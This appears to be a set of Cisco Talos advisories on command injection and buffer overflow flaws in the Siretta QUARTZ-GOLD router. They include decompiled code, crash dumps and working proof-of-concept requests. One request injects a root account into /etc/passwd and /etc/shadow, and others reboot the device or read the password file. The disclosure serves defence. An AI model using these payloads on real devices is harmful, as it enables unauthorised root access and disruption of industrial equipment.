An OS command injection vulnerability exists in the httpd txt/restore.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the httpd txt/restore.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP, LTE, WAN failover, and many others.

The QUARTZ-GOLD router has a web server with several functionalities. One functionality sets several nvram variables and then reboots the router.

This functionality is allowed through the txt/restore.cgi API. Following one of the functions involved in executing this API:

    void wi_restore_custom(char* url,size_t len)
    
    {
     [...]
    
      read_len = len;
      [...]
      tmp_dir_path[0] = '\0';
      data_pointer = (void *)skip_header(&read_len);
      if (data_pointer != (void *)0x0) {
        [...]
        data_pointer = malloc(read_len);
        [...]
        is_same = web_read(data_pointer,read_len);
        read_len = read_len - is_same;
        strcpy(tmp_dir_path,"/tmp/nvram_restoreXXXXXX");
        mktemp(tmp_dir_path);
        iVar1 = f_write(tmp_dir_path,data_pointer,is_same,0,0x180);                                                 [1]
        [...]
        tmp_dir_fd = fopen(tmp_dir_path,"r");
        if (tmp_dir_fd != (FILE *)0x0) {
          while (buffer = fgets(web_data,0x200,tmp_dir_fd), buffer != (char *)0x0) {
            buffer = strdup(web_data);
            if (buffer == (char *)0x0) goto LAB_00016940;
            is_same = _vstrsep(buffer,"=",&nvram_key,&nvram_value,0);                                               [2]
            if ((((1 < is_same) && (is_same = strcmp(nvram_key,"routersn"), is_same != 0)) &&
                (is_same = strcmp(nvram_key,"et0macaddr"), is_same != 0)) &&
               (((is_same = strcmp(nvram_key,"lan_hwaddr"), is_same != 0 &&
                 (is_same = strcmp(nvram_key,"wan_hwaddr"), is_same != 0)) &&
                (is_same = strcmp(nvram_key,"wl0_hwaddr"), is_same != 0)))) {
              sprintf(system_command,"nvram set %s=%s",nvram_key,nvram_value);                                      [3]
              system(system_command);                                                                               [4]
              memset(web_data,0,0x200);
             [...]
            }
            [...]
    }
    

wi_restore_custom will, at [1], write the request’s body into a temporary file. The request’s body should contain a series of lines of the <nvaram_key>=<nvram_value> format. Indeed, at [2], a line of the request’s body is parsed and split in two parts: the nvram key and the nvram value. At [3] the nvram set <parsed_nvram_key>=<parsed_nvram_value> string is composed; then it is executed at [4] using the system function.

No command injection related checks are performed on the, supposedly, nvram_key and the nvram_value. This means that any value will reach the system function without command injection related checks. Because of this the wi_restore_custom function is vulnerable to an OS command injection. This vulnerability can lead to arbitrary command execution.

**Exploit Proof of Concept**

Sending a request like the following:

    POST /txt/restore.cgi?_http_id=<a valid TID> HTTP/1.1
    Authorization: Basic <a valid basic auth>
    Content-Length: 428
    Content-Type: multipart/form-data; boundary=c6ced257295a2b54067e956663d1fbda
    
    --c6ced257295a2b54067e956663d1fbda
    Content-Disposition: form-data; name="content"; filename="content"
    
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `echo "">>/etc/passwd; echo "poc:x:0:0:root:/root:/bin/sh" >> /etc/passwd; echo "" >> /etc/shadow; echo 'poc:$1$HSeR2q0g$KOjqL5H5DKyLpf0H1apr51:0:0:99999:7:0:0:'>> /etc/shadow; while [ 1 ]; do killall httpd; done`=POC
    --c6ced257295a2b54067e956663d1fbda--
    

If the request was successful, it is now possible to access the device using poc:admin as credentials. For instance connecting, using telnet, to port 2323 we can provide the injected credentials:

    telnet 192.168.0.1 2323
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    QUARTZ-GOLD login: poc
    Password: 
    
    root@QUARTZ-GOLD:/tmp/home/root#
    

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-40220: TALOS-2022-1612 || Cisco Talos Intelligence Group

An os command injection vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

An os command injection vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD router has a web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.

Following the API to delete a previously uploaded file:

    void delfile.cgi(void)
    
    {
      [...]
    
      [... calculate the value of the base_folder variable ...]
      _filename_param = (char *)webcgi_safeget("_filename");                                                        [1]
      filename_ = "";
      if (_filename_param != (char *)0x0) {
        filename_ = _filename_param;
      }
      if (*filename_ != '\0') {
        sprintf(command_buff,"rm -rf %s/%s",base_folder,filename_);                                                 [2]
        system(command_buff);                                                                                       [3]
      }
      [...]
    }
    

The delfile.cgi expects one parameter called _filename that represents the filename of the desired file to be deleted. At [1] the uploaded parameter is taken and then used at [2] for composing the command rm -rf <base_folder>/<_filename>. The composed string is then used at [3] as argument of the system function. The _filename is not sanitized and will be used in the system function, which can lead to an OS command injection.

**Exploit Proof of Concept**

Sending a request like the following:

    POST /delfile.cgi HTTP/1.1
    Authorization: Basic <a valid basic auth value>
    Content-Length: 48
    
    _filename=`reboot`f&_http_id=<the correct tid>
    

will cause the device to reboot.

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-40969: TALOS-2022-1607 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the m2m DELETE_FILE cmd functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to a heap buffer overflow. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

A heap-based buffer overflow vulnerability exists in the m2m DELETE\_FILE cmd functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to a heap buffer overflow. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial router with several functionalities and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD offers a feature called M2M. When enabled, the device will execute the m2m binary and offer different network services. One of the services the m2m binary offers handles several commands. To communicate with this service the client must send a specific UDP packet format.

Following is the portion of m2m binary that manages the DELETE_FILE command:

    [...]
    cmdid_provided_LB = UDP_data_buff.cmd_id >> 8;
    if (cmdid_provided == 0x15) {
      syslog(5,"M2M Command(%02x) DELETE_FILE!!!",0x15);
      m2m_UDP_packet_resp.cmd_id._0_1_ = 0x80;
      m2m_UDP_packet_resp.cmd_id._1_1_ = cmdid_provided_LB;
      [... set base_folder variable ...]
      base_folder_length = strlen(base_folder);
      for (current_entry_off = 0; current_entry_off < (actual_data_len_recv - 0x22);
          current_entry_off = current_entry_off + __bswap_16(previous_data_len)){
        current_data_len = __bswap_16(*(UDP_data_buff.entries[0].data_len + current_entry_off));
        if ((( __bswap_16(*(UDP_data_buff.fix_word + data_idx)) != 0x12)) ||
            (((actual_data_len_recv - 0x22) - current_entry_off) < current_data_len) ||
            (command_string = calloc(current_data_len + base_folder_length + 0xc,1),
            command_string == 0x0)) {                                                                               [1]
          [... invalid state ...]
        }
        sprintf(command_string,"rm -rf %s/%s &",base_folder,&UDP_data_buff.entries[0].data + current_entry_off
               );                                                                                                   [2]
        syslog(6,"Deleting file :%s",command_string + 7);
        system(command_string);
        free(command_string);
        previous_data_len = *(UDP_data_buff.entries[0].data_len + current_entry_off);                               [3]
        [...]
    

Following whe will briefly explain the packet composition for this command:

    struct M2M_data_entry{
            uint16_t fix_word;
            uint16_t data_len;
            char data[];
    };
    
    struct M2M_packet{
            uint16_t packet_len;
            uint16_t cmd_id;
            uint32_t pkd_id;
            uint16_t version;
            M2M_data_entry entries[];
    };
    

The UDP packet received, which can contain at most 0x251c bytes, is casted to an M2M_packet. This is a variable length structure. Indeed, inside of it there is an array of M2M_data_entry structure that is a variable length struct. To seek the various entries the variable current_entry_off is used. It starts with value 0 and then, at [4], the value M2M_data_entry.data_len of the just-parsed entry is added to seek, in the next loop, the next entry.

The DELETE_FILE command will execute the command rm -rf <base_folder>/<M2M_data_entry.data> & for each entry in the UDP M2M_packet packet it received.

At [1] several checks are performed. One related to the entry size is particular interesting: (((actual_data_len_recv - 0x22) - current_entry_off) < current_data_len) where actual_data_len_recv is the total size of the UDP packet that the service received, and current_data_len is the current data entry length. Basically, this checks if the total size of the received packet minus the header (0x22 bytes) minus the current_entry_off is lower than the current_data_len. If true, the packet is invalid; otherwise a string is allocated.

The string is allocated as follow: calloc(current_data_len + base_folder_length + 0xc,1). It takes into account the base_folder length, the M2M_data_entry.data_len length of the current entry and the other characters in the format string.

The execution will reach [2] and compose the command that will then be executed. The problem is that the allocation takes into account the size provided, but then the composition of the string will use the string until the first null byte. So if the provided size is lower than the actual M2M_data_entry.data string size, a heap-based buffer overflow would occur.

**Crash Information**

    ──── registers ────
    $r0  : 0x00093ff8  →  0x41414141 ("AAAA"?)
    $r1  : 0x7ee94168  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    $r2  : 0x14d
    $r3  : 0x41414141 ("AAAA"?)
    $r4  : 0x41414141 ("AAAA"?)
    $r5  : 0x41414141 ("AAAA"?)
    $r6  : 0x7ee932b2  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    $r7  : 0x1000
    $r8  : 0x0
    $r9  : 0x7ee931c8  →  0x7e0000d0
    $r10 : 0xd
    $r11 : 0x0
    $r12 : 0x41414141 ("AAAA"?)
    $sp  : 0x7ee93018  →  0x7ee931c8  →  0x7e0000d0
    $lr  : 0x41414141 ("AAAA"?)
    $pc  : 0x2acb5bfc  →   stmia r0!,  {r3,  r4,  r5,  r12}
    $cpsr: [negative zero CARRY overflow interrupt fast thumb]
    ──── stack ────
    0x7ee93018│+0x0000: 0x7ee931c8  →  0x7e0000d0    ← $sp
    0x7ee9301c│+0x0004: 0x00001000
    0x7ee93020│+0x0008: 0x00093155  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    0x7ee93024│+0x000c: 0x2acaf35c  →  <__stdio_fwrite+72> ldr r3,  [r4,  #16]
    0x7ee93028│+0x0010: 0x00001000
    0x7ee9302c│+0x0014: 0x0000000b
    0x7ee93030│+0x0018: 0x7ee932b2  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    0x7ee93034│+0x001c: 0x00000000
    ──── code:arm:ARM ────
       0x2acb5bf0                  orr    r5,  r5,  r12,  lsl #24
       0x2acb5bf4                  lsr    r12,  r12,  #8
       0x2acb5bf8                  orr    r12,  r12,  lr,  lsl #24
     → 0x2acb5bfc                  stmia  r0!,  {r3,  r4,  r5,  r12}
       0x2acb5c00                  subs   r2,  r2,  #16
       0x2acb5c04                  bge    0x2acb5bd8
       0x2acb5c08                  pop    {r4,  r5}
       0x2acb5c0c                  adds   r2,  r2,  #12
       0x2acb5c10                  blt    0x2acb5c2c
    ──── threads ────
    [#0] Id 1, Name: "m2m", stopped 0x2acb5bfc in ?? (), reason: SIGSEGV
    ──── trace ────
    [#0] 0x2acb5bfc → stmia r0!,  {r3,  r4,  r5,  r12}
    

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-41991: TALOS-2022-1639 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the httpd SNMP functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP response can lead to arbitrary command execution. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the httpd SNMP functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP response can lead to arbitrary command execution. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

Based on the web page shown, functionalities and the documentation publicly available, the QUARTZ-GOLD does not provide any way to directly access the linux system that runs on the router. The router has an SNMP service. This service sets custom OID, which are used to extend the SNMP functionalities. The specified entry is translated in the SNMP configuration file as an exec entry. This specifies arbitrary commands in the custom OID, and those are going to be executed when queried through SNMP, allowing arbitrary command execution.

Following the function in the rc binary that manages the creation of the /etc/snmpd.conf:

    void start_snmpd(void)
    
    {
      [...]
      snmp_conf = fopen("/etc/snmpd.conf","w");
      [...]
      fputs("exec .1.3.6.1.4.1.2021.500 modem /bin/nvram get modem_type\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.501 csq /bin/sh /tmp/csq.sh\n",snmp_conf);
      [...]
      fputs("exec .1.3.6.1.4.1.2021.535 sim_1_mode /bin/nvram get cellType\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.536 sim_1_oper_lock /bin/nvram get cops_oper\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.537 sim_1_pin /bin/nvram get CelldialPincode\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.538 sim_1_apn /bin/nvram get CelldialApn\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.539 sim_1_auth /bin/nvram get auth_type\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.540 sim_1_user /bin/nvram get CelldialUser\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.541 sim_1_passwd /bin/nvram get CelldialPwd\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.542 sim_2_mode /bin/nvram get cellType2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.543 sim_2_oper_lock /bin/nvram get cops_oper2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.544 sim_2_pin /bin/nvram get CelldialPincode2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.545 sim_2_apn /bin/nvram get CelldialApn2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.546 sim_2_auth /bin/nvram get auth_type2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.547 sim_2_user /bin/nvram get CelldialUser2\n",snmp_conf);
      fputs("exec .1.3.6.1.4.1.2021.548 sim_2_passwd /bin/nvram get CelldialPwd2\n",snmp_conf);
      is_custom_empty = nvram_match_("custom_oid1","");
      if (is_custom_empty == 0) {
        custom_oid = nvram_get_("custom_oid1");
        fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.501 custom1 %s\n",custom_oid);
      }
      is_custom_empty = nvram_match_("custom_oid2","");
      if (is_custom_empty == 0) {
        custom_oid = nvram_get_("custom_oid2");
        fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.502 custom2 %s\n",custom_oid);
      }
      is_custom_empty = nvram_match_("custom_oid3","");
      if (is_custom_empty == 0) {
        custom_oid = nvram_get_("custom_oid3");
        fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.503 custom3 %s\n",custom_oid);
      }
      is_custom_empty = nvram_match_("custom_oid4","");
      if (is_custom_empty == 0) {
        custom_oid = nvram_get_("custom_oid4");
        fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.504 custom4 %s\n",custom_oid);
      }
      is_custom_empty = nvram_match_("custom_oid5","");
      if (is_custom_empty == 0) {
        custom_oid = nvram_get_("custom_oid5");
        fprintf(snmp_conf,"exec .1.3.6.1.4.1.2022.505 custom5 %s\n",custom_oid);
      }
      [...]
      return;
    }
    

One of the responsibilities of the start_snmpd function is to create the /etc/snmpd.conf. We removed the code unrelated to the snmp.conf and left only the part of the code related with the exec entries.

**Exploit Proof of Concept**

Sending a request like the following:

    POST /tomato.cgi HTTP/1.1
    Content-Length: 382
    Authorization: Basic <a valid basic auth>
    
    _ajax=1&_service=snmp-restart%2Cfirewall-restart&snmp_enable=1&snmp_remote=0&snmp_port=161&snmp_sysname=Siretta&snmp_location=router&snmp_contact=admin@router&snmp_ro=rocommunity&snmp_rw=rwcommunity&v3_auth_type=NONE&v3_auth_passwd=&v3_priv_type=NONE&v3_priv_passwd=&custom_oid1=/bin/cat%20/etc/passwd&custom_oid2=&custom_oid3=&custom_oid4=&custom_oid5=&_http_id=<the correct tid>
    

Will generate the following response:

    HTTP/1.0 200 OK
    Date: Sat, 01 Jan 2000 05:41:39 GMT
    Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache, no-store, must-revalidate, private
    Expires: Thu, 31 Dec 1970 00:00:00 GMT
    Pragma: no-cache
    Connection: close
    
    @msg:Settings saved.Some services are being restarted...%    
    

After this response, the SNMP server would be able to answer to the custom OID:

    snmpwalk -c public <ROUTER_IP> -v3 -u admin 1.3.6.1.4.1.2022.501              
    Bad operator (INTEGER): At line 73 in /usr/share/snmp/mibs/ietf/SNMPv2-PDU
    SNMPv2-SMI::enterprises.2022.501.1.1 = INTEGER: 1
    SNMPv2-SMI::enterprises.2022.501.2.1 = STRING: "custom1"
    SNMPv2-SMI::enterprises.2022.501.3.1 = STRING: "/bin/cat /etc/passwd"
    SNMPv2-SMI::enterprises.2022.501.100.1 = INTEGER: 0
    SNMPv2-SMI::enterprises.2022.501.101.1 = STRING: "root:x:0:0:root:/root:/bin/sh"
    SNMPv2-SMI::enterprises.2022.501.101.2 = STRING: "admin:x:0:0:admin:/root:/bin/sh"
    SNMPv2-SMI::enterprises.2022.501.101.3 = STRING: "nobody:x:65534:65534:nobody:/dev/null:/dev/null"
    SNMPv2-SMI::enterprises.2022.501.102.1 = INTEGER: 0
    SNMPv2-SMI::enterprises.2022.501.103.1 = ""
    

The value of this OID is the results of the command /bin/cat /etc/passwd.

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-38066: TALOS-2022-1615 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the httpd downfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the httpd downfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD router has a web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.

Following the API to download a previously uploaded file:

    void downfile.cgi(void)
    
    {
      [...]
    
      _filename_param = (char *)webcgi_safeget("_filename");                                                        [1]
      filename = "";
      if (_filename_param != (char *)0x0) {
        filename = _filename_param;
      }
      [... calculate base_folder ...]
      if (*filename != '\0') {
        sprintf(buff,"Content-Disposition:attachment;filename=\"%s\"",(char)filename);
        send_header(200,buff,"application/tomato-binary-file",0);
        sprintf(buff,"%s/%s",base_folder,filename);                                                                 [2]
        do_file(buff);                                                                                              [3]
      }
      return;
    }
    

The downfile.cgi expects one parameter called _filename that represents the filename of the desired file to be downloaded. At [1] the uploaded parameter is taken and then used at [2]. The function used at [2] is a sprintf, which does not take into consideration the size of the buffer. If the _filename parameter is longer than a certain length, the instruction at [2] would cause a stack-based buffer overflow that could led to remote code execution.

**Crash Information**

    $r0  : 0x0       
    $r1  : 0x0       
    $r2  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
    $r3  : 0x2000    
    $r4  : 0x61666b61 ("akfa"?)
    $r5  : 0x61676b61 ("akga"?)
    $r6  : 0x61686b61 ("akha"?)
    $r7  : 0x1       
    $r8  : 0x0       
    $r9  : 0x0001e658  →  "downfile.cgi"
    $r10 : 0x0001dbac  →  0x0001e658  →  "downfile.cgi"
    $r11 : 0x7ef3b784  →  "admin"
    $r12 : 0x2ae5573c  →  0x2ae41ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
    $sp  : 0x7ef39070  →  "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
    $lr  : 0x2ae3bb30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
    $pc  : 0x61696b60 ("`kia"?)
    $cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
    0x7ef39070│+0x0000: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"     ← $sp
    0x7ef39074│+0x0004: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef39078│+0x0008: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef3907c│+0x000c: "akmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef39080│+0x0010: "aknaakoaakpaakqaakraaksaaktaak"
    0x7ef39084│+0x0014: "akoaakpaakqaakraaksaaktaak"
    0x7ef39088│+0x0018: "akpaakqaakraaksaaktaak"
    0x7ef3908c│+0x001c: "akqaakraaksaaktaak"
    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:THUMB ────
    [!] Cannot disassemble from $PC
    [!] Cannot access memory at address 0x61696b60
    ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
    [#0] Id 1, Name: "httpd", stopped 0x61696b60 in ?? (), reason: SIGSEGV
    

**Exploit Proof of Concept**

Sending a request like the following:

    POST /downfile.cgi HTTP/1.1
    Authorization: Basic <a valid basic auth>
    Content-Length: 1119
    
    _filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak&_http_id=<the correct tid>
    

The status at the return address of the downfile.cgi function would be:

    $r0  : 0x0       
    $r1  : 0x0       
    $r2  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
    $r3  : 0x2000    
    $r4  : 0x7ef38c60  →  "/jffs/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa[...]"
    $r5  : 0x00031082  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
    $r6  : 0x0002272b  →  "/jffs"
    $r7  : 0x1       
    $r8  : 0x0       
    $r9  : 0x0001e658  →  "downfile.cgi"
    $r10 : 0x0001dbac  →  0x0001e658  →  "downfile.cgi"
    $r11 : 0x7ef3b784  →  "admin"
    $r12 : 0x2ae5573c  →  0x2ae41ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
    $sp  : 0x7ef39060  →  "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]"
    $lr  : 0x2ae3bb30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
    $pc  : 0x0000f96c  →   pop {r4,  r5,  r6,  pc}
    $cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
    0x7ef39060│+0x0000: "akfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaak[...]"    ← $sp
    0x7ef39064│+0x0004: "akgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraak[...]"
    0x7ef39068│+0x0008: "akhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaak[...]"
    0x7ef3906c│+0x000c: "akiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef39070│+0x0010: "akjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef39074│+0x0014: "akkaaklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef39078│+0x0018: "aklaakmaaknaakoaakpaakqaakraaksaaktaak"
    0x7ef3907c│+0x001c: "akmaaknaakoaakpaakqaakraaksaaktaak"
    ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
           0xf960                  mov    r0,  sp
           0xf964                  bl     0xbbc8
           0xf968                  add    sp,  sp,  #1024   ; 0x400
     →     0xf96c                  pop    {r4,  r5,  r6,  pc}
    [!] Cannot disassemble from $PC
    ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
    [#0] Id 1, Name: "httpd", stopped 0xf96c in ?? (), reason: BREAKPOINT
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
